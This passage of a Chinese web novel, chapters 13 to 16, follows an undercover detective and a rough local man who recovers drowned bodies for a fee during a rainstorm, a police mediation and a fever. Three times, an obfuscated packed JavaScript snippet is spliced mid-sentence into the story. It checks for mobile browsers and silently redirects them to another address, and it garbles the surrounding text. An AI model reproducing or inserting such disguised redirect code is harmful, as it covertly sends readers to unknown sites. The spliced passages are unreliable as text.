拿出来后,也没先给周旭,而是去厕所门口,把自己的鞋子穿好了,才递过来:“谢谢了啊。” 周旭低着头接了,莫名来一句:“你脚挺小的。” 方秉雪:“啊?” “这么一拃,”周旭用手比划了下,“看着就跑不快。” 方秉雪毫不犹豫:“那是你手太大了。” 这话有点怪,前言不搭后语的样子,周旭也没继续,挥挥手就往外走,脚上穿的是标间里的塑料拖鞋,脏鞋子放进塑料袋里,被他用食指勾着,快到门口的时候转身:“对了,你那天抱的骨灰盒怎么回事?” 方秉雪已经坐回床上了,扶着额头:“什么骨灰盒?” 周旭眯着眼,目光沉沉,但他这会儿判断不出来对方是在装傻,还是真的自己看错,话已至此,没必要再继续下去,带着薄茧的拇指挨着了门把手:“以后别喝那么多,尤其是白的啤的混一块,最容易醉。” 虽然对方没说,但看那表情就知道,这会儿可能还不怎么舒服。 而最难受的时刻还没到来,宿醉后的早晨,才叫痛不欲生。 方秉雪仰起脸:“谢谢……我怎么老跟你说谢谢,真是太不好意思了。” 周旭没应声,也没动。 “还有什么,”方秉雪笑了,很温和的样子,“一块儿说完吧。” 周旭这才转过身,突然想起来似的:“哦对,差点忘了……” “那个,你叫什么来着?” 13.第 13 章 四月,这座西北小城罕见地下了暴雨。 天空被闪电戳破了个大口子,乌云翻滚,接连不断地炸着惊雷,雨势瓢泼得没了形状,把世间一切都变得沸腾翻滚。 这是方秉雪站在窗前,往下看到的景象。 宿醉醒来,他头痛得仿佛颅骨里塞了支爆破队,电钻突突地凿着太阳穴,连带着喉咙也被震得疼,喝水都像在吞玻璃渣。 他就这样把额头抵住玻璃窗,一下下地平稳呼吸。 方秉雪讨厌这种“失控”感。 这些年来,无论是领导还是同事,都认为他是一个强大的人,年轻刑警容易冲动,逞强,这往往来自于信念和愤怒,曾经有学长工作半年就脱了警服,冲上去殴打审讯室的嫌疑人,做他们这行的,世情冷暖看得太多,一颗心不能冷,但太热了也不行,容易伤着。 方秉雪同样年轻。 可他是天衣无缝的榫卯结构,无论是在警校靶场打空弹壳,还是数日的不眠不休,抑或,亲眼见到惨不忍睹的凶案现场,家属哭声震天,方秉雪拉起黄色警戒线,从外围缓冲区中走来,神色如常。 “以后不能喝了。” 方秉雪难得地产生几分懊恼,对于生病之类的意外,他不会过分纠结,但醉酒出糗,失去对自我的控制,让他不由得焦躁起来。 当然,也有可能是因为外面的暴雨天。 下午三点,雨势渐小。 方秉雪回到宿舍,第一件事就是把身上的湿衣服脱掉,挂在窗户把手上一宿,压根没干,但他也没法儿继续等着了。 借的衣服已经规矩叠好,整齐地放在床上,反正外面下着雨,穿着湿衣服也不会被行人注意——哪儿还有什么行人,这样大的雨,让砾川县变成了只躲雨的蜗牛,屋檐就是青灰色的外壳,偶尔伸出的细细触角,是好奇的孩子推窗张望,又被母亲呵斥着拉回屋中。 还好今天是周末。 方秉雪收拾好,准备去厨房煮一碗姜汤,他挺爱惜自己的,小时候生病吃药,秦老师看他好得差不多了,就会说还剩两片药,丢了吧,方秉雪就赶紧追过去说不行,得吃完。 他这会刚洗完澡,终于给宿醉的烦闷赶得差不多,正是喝姜汤驱寒的最佳时机。 唯一的问题是,没有姜。 方秉雪对着自己空空如也的厨房,沉默了半分钟,决定厚着脸皮求支援——李文斌一家就住在楼下,他媳妇教高中的,平日里在家吃,时常都听见热闹的抽油烟机声音。 楼房一梯三户,正中间是专门提供给年轻人的单身宿舍,左右户型会大一点,方秉雪敲着东户的门,过了会儿,才传来了脚步声。 “哎,小方?” 李文斌的媳妇给门推开了:“我正在厨房做饭呢,没听见。” 知道来意后,她二话不说地拿来一大块老姜,使劲儿往方秉雪手里塞,方秉雪也没空着手,提了一排AD钙奶送过去:“给你家安安喝……哎,李局这会不在?” 对方没客套,笑着给东西接过了:“半个小时前出去的,说是有事。” 这太正常了。 方秉雪回去后,没继续琢磨这件事,他按照之前秦素梅教的法子,给姜切片丢进滚水里,小火慢煮,可惜的是没来得及买红糖,出来的味道极其诡异,方秉雪勉强喝了半碗,终于决定,放过自己。 “但脸色还是不太好啊,”马睿凑过来,端详了会,“昨晚没睡好,还晕着?” 方秉雪从成堆的档案袋上冒头:“没,睡好了。” 他觉得这帮本地人酒量实在可怕,明明一块儿喝那么多,现在各个生龙活虎,只有他还略微萎靡,像是霜打的小白花—— 因为周一,暴雨不仅没停,反而有愈演愈烈的趋势。 方秉雪把厚衣服找出来穿上了,一件粗针织的白毛衣,是他妈妈买的,秦老师就喜欢这种柔软的浅色调,直接拿去给小姑娘穿都行,所以这会儿,他在一群大老粗中间就特显眼。 尤其是那帮大老粗都叼着烟,平均三句话就要骂一句天老爷。 “这雨没个头了!” “我早上送闺女上学,风给伞都刮断了!” 方秉雪在忙数据库建立,没注意周围聊天,直到马睿过来叫他吃饭,才回过神来。 “你们去吧,”他手里握着圆珠笔,笑笑,“我这会还不饿。” 方秉雪一忙起来就顾不上吃饭,这会还剩点收尾工作,准备全部弄完再去食堂。 马睿点头:“下着雨呢,记得吃点热的哈。” 方秉雪“哎”了一声。 不知过了多久,被突兀响起的电话铃打断思绪时,方秉雪才茫然抬头,环视一圈,办公室里已经空无一人了。 而对面的固话仍在响。 怎么回事,也没个值班的人? 方秉雪过去接了,刚开口:“喂……” “叫老闫过来,”话筒里传来李文斌的吼声,“让他跟周旭谈,这边调解不了!” 方秉雪给圆珠笔放下了。 与此同时,窗户“轰”地一声被风撞开,连带着暴雨,把头顶吊着的三叶扇刮得直晃。 另一边,也好不到哪儿去。 李文斌分管的是刑事侦查,本身就不擅长调解,更何况对方泼水不进,铁桶一般。 他是真的恼,似乎每次跟周旭打交道都得生气,而周旭只要见了他,也比往日里更加蛮横无赖,这会在沙发上翘着二郎腿,嘴里叼个棒棒糖。 李文斌气不打一处来:“你能不能正经点!” 周旭没抬眼:“我口腔溃疡了呗,嚼个含片。” 他神态轻松,桌上的人则都皱眉不语,焦灼的气氛太浓重,随时都会爆炸似的,这就导致了站在墙角的阿亮目光警惕,看谁都像在看一颗手榴弹。 片刻后,一道沙哑的声音传来:“……三千,不能再多了。” 说话的是个叫陈秀的中年女人,披头散发,神色疲惫,两道青黑色的眼圈烙在脸上,也遮不住枯涸的泪痕。 “八千,”周旭懒懒的,“一分不少。” 陈秀抖着肩:“你发死人财,你不是人!” 周旭给棒棒糖在嘴里换了个边,一副浪荡的流氓样:“你怎么不去挣这个钱,有本事你也去啊,用得着求我?” 有个年轻警察有点看不过去,不满地斜过来一眼,周旭还没反应呢,阿亮就跟护食的狗似的,凶狠地瞪了回去。 陈秀仰着脸,目光失焦,她刚才哭过闹过,也差点跪下给周旭磕头,但一切都无济于事,周旭咬死了八千块钱……她上哪儿找八千!老头所有的体己都补贴了儿子,当初连她的彩礼都拿去还债,那双浑浊的眼球里满是警惕,生怕她从娘家捞一星半点。 可是,她也不能眼睁睁地看自己的爹,在冰冷的河水里泡烂,被鱼啃食啊! “八千块……”陈秀撑着瘦削的身体,“别到最后竹篮打水一场空,连三千你都拿不到。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256565|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周旭的胳膊搭在沙发背上:“那就拿不到呗,你找别人不行,非得来求我?” 这话别说陈秀没法接,连一群警察都沉默下来。 砾川县,无论是公安还是消防,都缺乏专业的水上救援设备,这里风沙大,蜿蜒的河水不似缠绕的纱巾,而是勒着喉咙的麻绳——下面地势复杂,沙坑多水流急,壮年男性都不敢去里面放肆地游个来回,每到暑假,学校总会安排老师值班,盯着不许小孩靠近,生怕不知天高地厚,聚堆游野泳。 但一年半载的,还是会出些事。 而这个时候,所有人都会想起周旭。 他水性最好,只要听说有人落水,别管手头做什么事就往外跑,扎进水里去救命,但意外失足总归不算多,大部分情况下,还是需要拜托他去打捞尸身。 这个时候,周旭就要坐地起价了。 人们纳闷,他又不靠力气吃饭,干嘛锱铢必较地要这笔钱呢,周旭从不解释,也不着急,反正到最后,哭着的家属还得来求他。 周旭敲的最狠的一笔,是一万五。 那是千禧年间的一万五,能做很多的事,足够一名高中生参加七天六夜的旅行团,舒舒服服地畅游偌大的美利坚,也够买下一块安静的墓地。 别人不知道,但是阿亮知道,那对父母迫于舆论的压力,再加上对未知玄学的恐惧,请周旭打捞女儿的尸体,父亲在岸边跳着脚骂,赔钱货死了也不安好心,就是不想让弟弟过一个好的暑假! 阿亮不明白,那个自尽的老头不是有钱吗,另外也有儿子,为什么只让女儿为了八千块钱发愁? 那些人说话太快了,他反应不过来,看不懂,周旭就递给他几块糖,说吃这个吧,别管那些脏东西,阿亮将糖含嘴里,不再盯着别人的口型看,只看眼神,要是有不屑或者鄙夷,他就冲人龇牙。 “那你让我怎么办,”陈秀突然咆哮道,“我弟弟陈建军被你们抓走了,爹都说了一命抵一命,你们不许,还要枪毙他……都是你们逼的!” 她说着就哭起来,抓着桌子上的水杯往周旭那砸,目眦尽裂:“你也逼我,你们都逼我!凭什么啊!” 那杯水没能泼出去,旁边的民警控制住了陈秀,却无法阻止她发出野兽般的嚎叫,可能太苦了,憋得太久了,她像是要把呱呱坠地时的哭声也算上,倾尽全力地,声嘶力竭地:“凭什么——” …… 周旭在池子那洗了把脸,吐出口气后,才走进厕所。 这次调解,地点在离河最近的一家派出所里,厕所挺干净的,一边是小便池,另一边则是隔间,空荡荡,只能听见窗外的暴雨声。 周旭刚站定,就听见了厕所门“吱呀”一声,他没在意,伸手扯下拉链。 男人都这样,解决问题的时候不喜欢离人太近,朋友也不成,别扭,尴尬,不自在,除非是熟人开玩笑比大小,或者就是…… 周旭还没开始呢,“唰”地一下给拉链拉回去了:“你干什么!” 咫尺之遥,方秉雪没抬头:“上厕所啊。” 周旭怒道:“神经病,离这么近你尿得出来?” “你能不能换个词,”方秉雪淡淡的 ,“只会这么骂人,行不行啊你?” 天地良心,从来都只有周旭问别人行不行的,还是头一遭被人呛回来,偏偏他这会卡了壳,只会恼羞成怒地瞪人:“方秉雪!” “哎,”方秉雪笑了,扭脸看他,“旭哥。” 14.第 14 章 这还是周旭第一次叫他的名字。 讲真,前天晚上,方秉雪犹豫了下,要不要说自己的真名。 他执行任务的时候,一般都信口跑火车,随便给自己起个什么名字,越普通越好,最好是能从脑皮层上自然地滑过,转头就忘。 包括最开始在周旭面前,方秉雪也是轻声细语,一副没什么存在感的懵懂模样,和他平日里的形象完全不同。 但是这一切,都在他喝多了,拉着人家说你闻闻啊我可香了时,戛然而止。 更可怕的是,方秉雪不断片。 当时,暴雨如注,屋里是洁净而廉价的香皂味儿,周旭的身体挡在门口,回头问他的名字。 “叫……方秉雪。” “嗯?” 他说:“秉持的秉,下雪的雪。” 周旭点头:“挺好听的。” ……不过,当时觉得好听,不影响他这会连名带姓地凶人家:“方秉雪你离我远点,干什么呢!” “都说了上厕所,”方秉雪脸上还带着笑,“这里你家开的,不让用?” 这个笑有点坏,有点挑衅,下雨天冷,他穿着毛衣和卡其色长裤,可能怕被溅到泥水,裤脚往上卷了道边,露出一点点脚踝,跟个来单位实习的应届生似的。 不对。 周旭突然眼皮子一跳:“你怎么在这?” 这可是派出所,外头大雨瓢泼,这外地来的破小孩儿怎么回事? 方秉雪随意道:“我来上班呢。” 话音落下,就听见一声明显的嗤笑,周旭往旁边退了好几步,眯着眼看他。 公安局周旭不常去,但是河边这派出所他熟,别说里头的警察都有谁了,院子里的狸花和橘猫多久打一次架他都清楚。 方秉雪慢悠悠地收回目光。 人都有先入为主的毛病,当周旭笃定他刚才那句话是开玩笑,就不会再把他和警察相挂钩——方秉雪现在还不想暴露身份,虽然有些对不住,但交浅言深,不是个好习惯。 他俩还没熟到那地步。 周旭不打算继续耗着,但他也没地方去,调解室里乱糟糟的一团,就趁着上厕所出来清净,没想到遇见个祖宗,给他烦的够呛。 “你去哪儿啊,不上厕所了吗?” “是不是要找地抽烟,能不能带着我?” “我不敢在这瞎跑,怕警察给我抓了……哥,旭哥,你别走啊!” 周旭揪着方秉雪的胳膊,给人拽到厕所外面了。 “砰!” 厕所门被砸得震天响。 “哎,”方秉雪摇头,“破坏公共设施还得赔,使那么大劲儿。” 片刻后,周旭黑着脸从厕所出来,洗完手,扭头就走。 走了几步,站住,转身,伸手按在方秉雪的脑门上,往外推了推:“再跟就揍你。” “你听我说,”由于这个动作,方秉雪的脸被他的手挡住大半,微微上扬,就露出个小巧的下巴颏,“我最近在写一篇新文报道,想采访一下你……调解室那说跳河捞人什么的,怎么回事啊?” 周旭给手收回来了。 他就知道。 在周旭心目中,警察最烦,记者当仁不让排第二,缠人,闹腾,赶都赶不走,他之前有几次被堵着要求采访,说我们不拍照,就给事迹登报行吗? 周旭说,不行。 年轻的记者被噎得够呛,反复说着荣誉和意义,口干舌燥。 可对面的狗男人充耳不闻,态度嚣张,他似乎没有过青春期,也没为钱和生计发过愁,举手投足一派粗野,哪怕穿着松垮的背心或者廉价西装,也能感觉到这人一身硬骨头的张狂。 这会面对方秉雪,说话依然不怎么客气:“你没跳过河?没新闻就写自己的,行不?” 话音落下,方秉雪脸色就变了。 - 午后三点,周旭回到调解室,一屁股坐在沙发上。 阿亮被他赶回去睡觉了,这里又吵又呛的,越待越没意思。 尤其是现在,烟也抽完了。 周旭干脆把外套脱了,往脑袋上一搭,躺下睡觉。 “这环境你睡得着吗,”李文斌叫他,“老闫说不定就过来,再聊聊,调解完咱得救人啊!” 周旭的声音闷在外套里:“救什么人,死人?” 幸好陈秀被扶出去休息了,否则听见这话还得吵,李文斌走过来,在沙发旁边蹲下,叹了口气:“旭,咱冷静一下,天气预报说这场雨还有三天,那姓陈的老头泡里面,不是个事,影响不好。” “更何况要是冲到下流,就更不好捞了,”李文斌继续,“现在还来得及。” 沙发上的人没动静。 李文斌有风湿病,两条胳膊架在膝盖上蹲着,站起来的时候腿疼得厉害,可没办法,他还得扛着。蛰伏多年的犯罪嫌疑人陈建军是抓获了,而他的父亲,那个天天拖着个蛇皮袋子,去垃圾桶里捡瓶子的老头,跳河了。 老头跳河前去公安局拉横幅,白底黑字,要喊冤。 事实清楚,犯罪证据确凿,警方费尽唾沫地解释半天,家属的情绪依然没有缓解,说要找领导。 找着领导后,就说要一命抵一命,让他来换儿子的命。 做刑侦的,再怎么荒唐的事都见过,只能尽最大努力安抚,但对接的调解员还没到呢,老头真的跑去河边,喝了半壶白酒,跳了河。 善后工作,在打捞尸体这一步,卡了壳。 周旭要钱,八千。 他不是那种“挟尸要价”,不勒索,不要另外红包,也不用会损毁遗容的“无情钩”,明明白白讲得清楚,毕竟暴雨倾盆,一个不留神,说不定救援的都得折里头。 所以李文斌没办法,总不能真给周旭踹河里,他伸手,拍了拍周旭的肩:“她老公在外地打工,家里面还有俩小孩,都在上学,不容易。” 周旭没动静。 李文斌叹了口气,扶着腰往外走,盘算着给陈秀叫回来,看能不能再想点什么办法,让亲属一块凑凑,扪心自问,他觉得周旭已经做的挺好了,有点怪脾气什么的,正常。 这会儿雨渐渐不下了,趁着放晴的档口,不少人出来办事,捡瓶子的老头跳河的事,还没在小小的砾川县传播开来,偶有人从外面经过,也只远远地投来好奇一眼。 周旭还是没松口。 云慢慢地散了。 等到五六点,正值下班时间,外面的人越来越多,聚在派出所后面的街道上,一边买菜一边窃窃私语,说河边那怎么了?死人了!啊呀好晦气啊,捞出来了没有,有没有去叫周旭? 【什么,家属拿不出钱在调解?】 声音变得更大。 【老头的闺女不容易啊,从哪儿掏出那么多钱,孩子还在上学吧……啧,别给人逼死了!】 【听说连老头的存折本都给找出来了,不然凑不够啊!】 【他闺女也是孝顺,要换点没良心的,说不定等几天,泡发了就飘上来了,真吓人。】 调解室里,当着警察,调解员,还有犄角旮旯的亲属的面,陈秀把一张存折递过去,面色苍白:“都在这里了。” 直到这时,沙发上的人才有了动静,先是伸了个懒腰,然后才扒拉开盖着的衣服,露出张打呵欠的脸:“早点给就完了,净耽误老子的事。” 他一把给存折抓手里,看也不看,就往裤兜里一塞,摇摇晃晃地往外走,有个调解员在后面跟着,一叠声地叫他,周旭没回头,懒洋洋地挥了挥手:“先回家换个衣服,不急。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265185|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈秀的腿软了,直接坐在地上。 几个沾亲带故的连忙跑过来,左右扶着她的胳膊,给人搀起来,劝慰说算了,接下来送葬还得花钱,老头还剩多少啊? 陈秀摇头,哭着说存折上就两千多,剩下的全是她凑的。 亲属们对视一眼,都不说话了。 只有李文斌在后面骂,说雨马上就来了周旭混蛋不要脸拿了钱就跑—— 跑得潇洒,一路骑着摩托车风驰电掣,飚得路人频频回头,然后指点说周旭又在发死人财。 真的是死人财,没那么着急,半个多小时后周旭才姗姗来迟,出现在了河边。 乌云沉沉,似是又要下雨。 李文斌已经回去了,留在现场的是个脸熟的民警,周旭记得一块吃过饭,但想不起来人家叫什么了,对方倒是很快上前,帮着接过衣服,叫了声旭哥。 不知怎么回事,这声旭哥,让周旭想起方秉雪了。 晌午那会,这人挤到他旁边,笑着叫了他一声哥,嗓音还挺甜。 就是太小性了,他又不是故意说话呛人,怎么气着了,扭头就走呢。 拉倒吧。 还给他甩脸子呢。 周旭把衣服丢给旁人,在岸边活动了会身体,他没叫朋友陪着,在翻滚的云层下往前走,鞋子脱掉了,光着的脚踩在湿润的土地上,上涨的河水在咆哮,天地昏黄,风声呜咽。 “砰——!” 周旭跳入河中。 方秉雪推开调解室的门。 角落里,一个中年男人被吓了一跳,慌里慌张地回头,怀里还抱着个女士外套,支支吾吾的:“我、我是陈秀她二叔,衣裳落这里了,拿一下。” 方秉雪左右看了看:“不好意思,我找警察办事呢……陈秀是谁?” 男人这才松了口气,给衣服放下:“这边是调解室,你得往右走。” 方秉雪恍然大悟似的:“谢谢啊。” 他说完就给门关上了,平静地转身离开,派出所离那条河不过一公里的距离,走路都能过去,方秉雪上次是为了迷惑陈建军的父亲,拖延其时间,结果情急之下搞了出乌龙,如今再次出现,是亲眼看到老人的尸体,被打捞上岸。 周旭已经出来了,在地上坐着,肩膀上搭着条厚毛巾,正在脱戴的长款橡胶手套。 殡葬机构在旁边处理遗体,围着不少的人,从方秉雪的角度看过去,周旭背对着人群,低着头,像是有点累了,在歇息的样子。 方秉雪在树后面站着,看了会儿,没说话。 啪嗒,啪嗒。 雷声轰然,又开始下起雨来,方秉雪不怎么高兴地抬头,把手里的烟掐了。 他才刚抽了两口。 其实中午那会在局里,他跟老闫聊过几句,对方没说太多,但意思,方秉雪已经隐隐约约地猜到了。 “李局叫人的话……”老闫挠了挠后脑勺,“要不你跑一趟,算给个面子。” 方秉雪点头:“行。” 老闫又说:“既然见了,帮我给周旭捎盒烟。” 方秉雪说:“那不行。” 老闫愣了:“为啥?” “他打过我,”方秉雪一脸严肃,“有次我配合王川行动,这人误会了,上来给我一嘴巴子。” 老闫惊讶极了:“还有这事?” “真的,所以您别在他面前提我,省得我俩干起来……不用,不用什么赔礼道歉,就是个小误会,是我的错。” “行,”老闫也严肃起来,“我记着了。” 说完,他可能觉得方秉雪初来乍到,莫名受了“工伤”挺委屈,于是安慰似的笑骂一句。 “周旭这人也真是的,别跟他一般见识,大老粗!” 方秉雪应声:“就是。” 15.第 15 章 真的是个大老粗。 跟老闫吃饭的时候,坐没个正行,胳膊肘大喇喇地搭在餐桌上,挨着的是个碟子,浅浅的一层白酒,阿亮举着个打火机,有点不知所措的样子。 周旭说:“点。” 阿亮这才给酒精点燃,蓝色的火焰“唰”地升腾,轻盈而纯净。 “这孩子怕警察,”周旭面色不变,“小时候挨过打,人家吓唬他乱说话……” “你能不能吃点清淡的?” 老闫把筷子放下了,无语地看着桌上的菜,挺家常的,辣椒炒蛋,小炒肉片,还有道酸辣汤。 周旭轻描淡写的:“驱寒呗。” 说话间,阿亮用手飞速地蘸了下燃烧的酒精,在周旭的小臂内侧搓擦,动作认真。 “你这次有点莽撞了,那是下过暴雨,上涨的河!” “我不给人捞上来,你们那边影响也不好吧,还有那个女的,唾沫星子能把她淹死。” 这种话阿亮从来不听,反正对他来说,不盯着人家的嘴唇看,谈话完全与他无关,专心致志地搓着周旭的胳膊。 “其实还好,”周旭眼神示意,“就这有点疼,可能是寒着了,用酒精揉揉就成。” 老闫给他夹了个菜:“你注意点。” 周旭说:“哎。” 话题也就到此为止了,毕竟算不上什么大事,挺稀松平常的,吃完饭,外面还稀稀拉拉地落着雨,周旭肩膀上搭着外套,客套了句:“阿亮送你。” 老闫都懒得摆手了:“不用,让孩子自己回去吧。” 阿亮住的地方离这近,走路几分钟就到,这会天色晚了,被轰回去睡觉。 俩人都走到屋檐下了,老闫还转身,又重复了遍:“注意点啊,有情况就去看看大夫,别给你那老腰扭了!” 周旭嗤笑一声:“老子的腰好着呢。” 县城的人喜欢两条腿走路,距离不远的话,溜溜达达地就到家了,就是连日下雨不便,老闫难得开了车,都给安全带系好了,还不放心,透过车窗去看周旭。 周旭正准备抽烟,垂着眼,骨节分明的大手在下巴处拢着,里面是一簇幽蓝火苗,像拢着只被雨打湿翅膀的小萤火虫—— 转瞬间,萤火虫消失不见。 老闫一时有些哑然。 “这么舍不得走,”周旭咬着烟,“不行的话,今晚你在我这凑合一晚得了?” 老闫:“滚蛋,媳妇和安安在家等我呢。” 风雨里奔波了半辈子的警察给车窗升上去了,临走前,对周旭说的最后一句话是,听我的,以后多为自己考虑考虑。 周旭说,你想多了,我没那么善。 但这次,他似乎有些阴沟里翻车。 下水捞人除了心理这关外,也是个技术活,需要在水里睁眼视物,用尼龙绳绑好尸身进行牵引,去桥墩和“回水湾”等地方寻觅,运气不好的时候,被废弃的渔网缠住都有可能。 人们总会有些忌讳,所以干这种事的不多,二十多年前,砾川县有个住桥洞的男人,水性好,跟水鬼似的能憋气很久,但他只捞死人,不救活人,甚至有次,一个小男孩落水里了,远远能看到颗脑袋沉沉浮浮,远远地也能看到那个男人蹲在岸边,袖手旁观。 就等着人沉下去了,好问家属要钱。 后来那男的,在一场暴风雨中,悄无声息地淹死在了河里。 所以对于周旭,县城里的人们宽容许多,即使嫌他钱要的多,颇有微词,也只在私下里说,表面上还是客客气气。 大雨悄无声息地结束了,天边放了晴,暴涨的河水冲上岸很多东西,有鱼虾,碎瓷片,还有乱七八糟的塑料玩具,也给周旭冲出了一场病。 原本想着是受凉了,肌肉酸,用酒精擦擦就好,结果发了高烧,皮肤滚烫,往胸膛上倒一勺子面糊都能烙饼。 周旭在屋里蹲了两天,没出门。 他的营生有点杂,除了修车行是自己开的之外,别的网吧台球厅全是跟朋友合伙干的,这么久了生意相当不错,不用他盯着看。 所以周旭给店里的人交代几句,说这两天有事,不过去了,别人也没在意。 退烧药吃了,身体松快了些,可晚上又反复地烧起来,给周旭烦得不行,感觉那老头子太死心眼,自己也不算得罪了他,干嘛惹这一身的不快。 他倒不是特别信这个,但这次的病实在汹涌,周旭恼了,干脆去厨房拿把菜刀,站在院子里砍了几下,一边砍,一边喊快点滚,等老子好了给你烧纸钱。 县里的习俗,哪家的小孩生病不好,母亲就会拿着刀挥舞,把脏东西吓唬走。 周旭一人吃饱全家不饿,没人帮他撑腰,赶走病痛,他只能亲身上阵。 有人敲门。 他拎着刀走过去,一身煞气地拨开门栓。 门开了,方秉雪和阿亮在外头站着,都睁着眼睛看他。 方秉雪说:“天呐。” 他张了张嘴,很犹豫的样子:“周旭,你是疯了吗?” 按理说,人不太可能因为发烧,就给脑子烧坏了,毕竟发烧只是个表现,更重要的是病症原因。 但,万一呢? 他做梦也没想到,透过门缝看了眼,能看到周旭对着空气砍人。 方秉雪不着痕迹地上前半步,给阿亮护在身后,和蔼道:“你先把刀放下。” 周旭:“……” 他转身就走,将那把菜刀放回厨房,然后才粗声粗气地瞪人:“你们来干什么?” 阿亮从方秉雪身后探头,比了个手势,周旭没看懂,他注意力集中在方秉雪的脸上,因为这人现在看他的眼神,跟看傻子似的,那叫一个怜爱。 “操!” 他搓了搓脸,生硬道:“没事就滚,别来烦我。” 方秉雪把拎的东西放桌上了,今天下班没事,他去超市里买小零食,正巧遇见了阿亮——少年身上的伤已经结痂了,正跟老板比划,余光看见方秉雪,很惊喜地挥了挥手。 “你好,”方秉雪笑着打招呼,“来买东西?” 阿亮有点着急似的,很用力地打手势,柜台后面的老板进行翻译:“哦,他说怕周旭死了,要去看看。” 方秉雪:“啊?” 老板不以为意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271932|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地继续:“他说,他阿爸有一次就是三天没出门,然后死在家里,周旭也几天没出来了,他担心。” 方秉雪:“……” 他怀疑这人在诳他。 但阿亮的神情不像假的,甚至还特意买了盒烟,想借着送东西的名义去看,买好拎手里,很期待地看着方秉雪。 方秉雪顿了下,语速很慢:“你想让我一起去?” 阿亮使劲点头。 方秉雪看了眼老板,老板对周旭的死活毫无兴趣,沉溺在电视画面和嗑瓜子中,瓜子壳在柜台上堆成了座小山。 他没再说什么,去货架后面,买了三排AD钙奶。 “……给你喝的。” 方秉雪认真道:“阿亮担心你死了,所以过来看看,目前看起来应该没死,就是……你真的没疯吗?” 周旭坐在凳子上,呼哧呼哧地喘气。 阿亮早给东西放下,打了个手势就溜进厨房,说是要去做饭,一时间,偌大的院子里就剩下他俩,大眼瞪小眼。 方秉雪还在问:“真的没疯?” 周旭咬牙:“你烦不烦,话这么多?” 方秉雪懒得理他,自己拿了瓶钙奶出来,插上吸管开始喝。 他算是看出来了,周旭对于这种被“关心”的状态,非常不自在,这人似乎不习惯自己的脆弱,受伤了,就跟野兽似的钻进黑黢黢的洞穴里,安静地等待恢复,一旦被注意,就会变得警惕,冲谁都龇牙。 怪不得阿亮踟蹰半天,不敢一个人来。 方秉雪不惯他这臭毛病,自顾自地喝奶,过了会儿,终于是周旭先忍不住的,不耐烦似的开口:“你来干什么?” 方秉雪慢条斯理的:“听说你病了,来看看你。” 果然,话音落下,男人直接炸毛。 “我就是着凉了,歇两天就行,”周旭的嗓子哑着,跟砂纸打磨过一般,“用不着你们关心,还特意跑过来一趟,至于吗?” 说完,他可能觉得语气有点重了,搓了搓手:“就是……没啥事,没那么矫情。” 方秉雪这才抬头,懒懒地看他一眼。 矫健嚣张的男人不精神了,蔫吧了,那么大的个子,就老老实实地坐在凳子上,脸色有点红,嘴唇发干,胸膛不住地起伏,哪怕这会天色渐晚,倦鸟归巢,院子里的光线逐渐黯淡,方秉雪也能感觉到,对方呼吸滚烫。 周旭咳嗽了两声:“总之,谢了啊。” 方秉雪笑起来,松开嘴里的吸管:“喝吗,我给你拿一瓶。” 周旭抿着嘴,没说话。 方秉雪起身打开塑料袋,把吸管插好,然后走过去,递到周旭面前。 有灰羽毛的小麻雀扑棱着翅膀飞走了,留下枝桠,在轻轻摇晃。 周旭犹豫了下,还是接了。 手指刚挨到瓶身,就感觉对方不明分说地伸出另一只手,按在他的额头上。 方秉雪皱眉:“这也太烫了。” 周旭有点没反应过来,仰着脸,呆呆地看着他。 方秉雪“嘶”了一声,摇摇头。 “完蛋,人也烧傻了。” 16.第 16 章 方秉雪刚从外面进来,掌心微凉。 他右手有枪茧,虎口和指腹那比较明显,就特意用的左手,贴在周旭的额头上感受了下,慨叹说这是真的烫啊,看来刚才拿着刀乱挥不是疯了,纯粹就是烧傻了。 既然这样,方秉雪决定勉为其难原谅他。 暂时不报警,不将周旭绳之以法。 方秉雪都给手收回去了,这大个子还在看他,表情很呆,病着的人嘛,总会变得脆弱,那眼神像凝滞的雾,有点钝,有点朦胧,所以这会儿,方秉雪居然从里头看出来了些委屈劲。 惨兮兮的。 方秉雪伸手,又摸了下额头:“不舒服?” 周旭:“嗯,不舒服。” “你这温度高得吓人,”方秉雪转身拉了把椅子,坐在周旭对面,模样跟个大夫似的,“吃药了没,病几天了?” 周旭手里握着AD钙奶:“吃了,应该有……两三天?” 方秉雪蹙眉:“怎么不去医院呢。” 他估计周旭这病就是下河导致的,着凉高烧太正常了,但这样应付,实在是不惜命。 周旭不说话了。 方秉雪又问:“吃了什么药?” “退烧的,”周旭说,“还有感冒冲剂吧。” 人在面对病情询问的时候,都有个本能,那就是老老实实地回答,哪怕对面坐着的并不是医生,周旭也依然没了跋扈劲儿。 方秉雪叫他:“走吧,我陪你出去看病。” 